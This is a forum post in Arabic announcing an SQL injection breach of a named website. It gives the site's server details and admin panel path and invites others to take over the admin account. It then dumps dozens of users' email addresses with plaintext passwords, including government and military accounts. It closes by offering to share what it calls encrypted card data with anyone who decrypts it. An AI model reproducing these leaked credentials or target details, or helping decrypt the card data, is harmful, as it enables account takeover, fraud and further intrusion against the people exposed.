موقع وجدت به ثغرة sql
وهو http://www.qumeran.com/
طلعت كل شيئ بس الادمن واليوزر ما طلعوا معي
هذه هي البيانات لي يحب يواصل
Host IP: 195.28.180.210
Web Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.12
Powered-by: PHP/5.2.12
DB Server: MySQL
Selected Column Count is 8
Valid String Column is 2
Target Vulnerable :D
Current DB: qumeran
Data Base Found: information_schema
Data Base Found: qumeran
مسار لوحة التحكم
http://www.qumeran.com/affiliate.php
بس ماوجدت الادمن والباس
ولي يجدها الموقع حلال عليه
وهذه بعض حسابات الاعضاء فيه
ادخلوا وتمتعوا
Data Found: password=1234
Data Found: user=ruslang@reut.co.il
Data Found: password=OUWER7L
Data Found: user=margo@seaoflife.co.il
Data Found: password=LEZYW&8
Data Found: user=aisha@gezer.org.il
Data Found: password=051160
Data Found: user=uribenhur@bezeqint.net
Data Found: password=roughhands
Data Found: user=GLLOYD@ATC.ARMY.MIL
Data Found: password=marco1
Data Found: user=dschneider58@comcast.net
Data Found: password=005481
Data Found: user=carolfarley@optonline.net
Data Found: password=thomas
Data Found: user=kossrose@hotmail.com
Data Found: password=881919
Data Found: user=jgxxp247@ybb.ne.jp
Data Found: password=april
Data Found: user=Ludsky@optonline.net
Data Found: password=1989
Data Found: user=melissagreen@nyc.rr.com
Data Found: password=alyusha
Data Found: user=ynepo@hotmail.com
Data Found: password=larajoel
Data Found: user=sheila_pratt@hotmail.com
Data Found: password=natureg
Data Found: user=limagirl002@yahoo.com
Data Found: password=qccqcc
Data Found: user=avintori@aol.com
Data Found: password=tallit
Data Found: user=PalOfHim@direcway.com
Data Found: password=panci4900
Data Found: user=fabian@e-co.hu
Data Found: password=seyva5
Data Found: user=ms.edda@verizon.net
Data Found: password=bird33
Data Found: user=burkecape@comcast.net
Data Found: password=buffalo
Data Found: user=Hamms@citlink.net
Data Found: password=durian
Data Found: user=js@laccu.org
Data Found: password=spirit
Data Found: user=2catarina@gmail.com
Data Found: password=081158
Data Found: user=Slyfox73@aol.com
Data Found: password=zoomer
Data Found: user=kmumme@verizon.net
Data Found: password=yehudah
Data Found: user=snellis3@earthlink.net
Data Found: password=lemurandwolf
Data Found: user=ppholleyman@holleyman.com
Data Found: password=lemurandwolf
Data Found: user=pholleyman@holleyman.com
Data Found: password=elsinha
Data Found: user=elcal@clix.pt
Data Found: password=811770
Data Found: user=joann@valuetravel.coml.sg
Data Found: password=mybeauty
Data Found: user=graham.ball@blueyonder.co.uk
Data Found: password=ssofty71
Data Found: user=softnessb@yahoo.com
Data Found: password=stupid
Data Found: user=steplk@aol.com
Data Found: password=lifeofsea
Data Found: user=bellacmax@yahoo.com
Data Found: password=usaukr
Data Found: user=ohubjb@yahoo.com
Data Found: password=usa004
Data Found: user=katuaus@yahoo.com
Data Found: password=ayrton
Data Found: user=Talbotjdt@aol.com
Data Found: password=pipoy
Data Found: user=cblutz@tiscali.ch
Data Found: password=maisy3
Data Found: user=zukoff1@comcast.net
Data Found: password=72xkvuz
Data Found: user=bertrand.bernardi@wanadoo.fr
Data Found: password=shalom
Data Found: user=jcf2@adelphia.net
Data Found: password=huwz
Data Found: user=shu1@connect.co.il
Data Found: password=deroy6
Data Found: user=tde2@ptd.net
Data Found: password=grade2
Data Found: user=karjrose@aol.com
Data Found: password=sweetp
Data Found: user=deborah@fiveelements.biz
Data Found: password=loveyou
Data Found: user=bl-tifft@sbcgobal.net
Data Found: password=unix11
Data Found: user=liran_r@netvision.net.il
Data Found: password=bigfat
Data Found: user=miller-jones@lycos.com
Data Found: password=6686
Data Found: user=ivanachat@aol.com
Data Found: password=567013
Data Found: user=jimiihenn52@hotmail.com
Data Found: password=jessoliv
Data Found: user=regyoung1@cox.net
Data Found: password=seaglass
Data Found: user=debra.carter@hq.com
Data Found: password=button
Data Found: user=christieusax1@hotmail.com
Data Found: password=tzippi
Data Found: user=tzippiwitz@scharf.co.il
Data Found: password=blackbelt
Data Found: user=nicholasbilotta@adelphia.net
Data Found: password=afpbest1
Data Found: user=afpadc@yahoo.com
Data Found: password=mikel7733
Data Found: user=mikel@rrlp.com
Data Found: password=6493
Data Found: user=sharweiner@aol.com
Data Found: password=november99
Data Found: user=maddbinky74@yahoo.com
Data Found: password=sergfunman
Data Found: user=nata_bezrukova@hotmail.com
Data Found: password=1943
Data Found: user=tjjdds@adamember.net
Data Found: password=234611
Data Found: user=nori_gabert@yahoo.com
Data Found: password=zs6ayc
Data Found: user=srtyler@mweb.co.za
Data Found: password=fergus
Data Found: user=rjdore@msn.com
Data Found: password=tucson
Data Found: user=mary.trejo@tucsonaz.gov
Data Found: password=Topol
Data Found: user=Lloyd_lt@hotmail.com
Data Found: password=LPASSWORD
Data Found: user=rabia@netvision.net.il
Data Found: password=@11Aug00*
Data Found: user=deanne.criswell@comcast.net
Data Found: password=topols
Data Found: user=mark.tengler@hccs.edu
Data Found: password=ultimate
Data Found: user=james@curneal.com
Data Found: password=1979326
Data Found: user=ajiang79@etang.com
Data Found: password=xiaodong
Data Found: user=chinatv001@tom.com
Data Found: password=mayalee
Data Found: user=yarondeb@aol.com
Data Found: password=dddd
Data Found: user=wert@aol.com
Data Found: password=122445
Data Found: user=kangisser@aol.com
Data Found: password=rjrebecca
Data Found: user=crjcsnyder@comcast.net
Data Found: password=deetz
Data Found: user=AlineD1343@aol.com
Data Found: password=ceppressman
Data Found: user=fig073@hotmail.com
Data Found: password=Reine
Data Found: user=rleefsma@bezeqint.net
Data Found: password=5353
Data Found: user=mapuana_@excite.com
Data Found: password=HONEY4U
Data Found: user=betsymccormick@bellsouth.net
Data Found: password=liberty
Data Found: user=soccertwin_2000@yahoo.com
Data Found: password=Romans8
Data Found: user=woodrow@poi.net
Data Found: password=krista
Data Found: user=patricia96734@yahoo.com
الهدية : الموقع وجدت فيه حسابات فيزا ومستر كارد بس رقم البطاقات مشفر هكذا
Oط!v‡ظCV=’guپ4¸}âأب6‘zٹxMپم†
وƒ!ƒ‰»اD4x&÷Q¥جج_أش06I_§“
وباقي البيانات كاملة والكمال لله ومازالت صالحة
لي يقولي شنو نوع التشفير وعندو فكرة على فك التشفير راح اقتسم معاه بيانات الفيزات
وهذا ايميلي n_a@hacker.ps
l,ru ugn 'fr lk `if+i]dm glk dshu]kd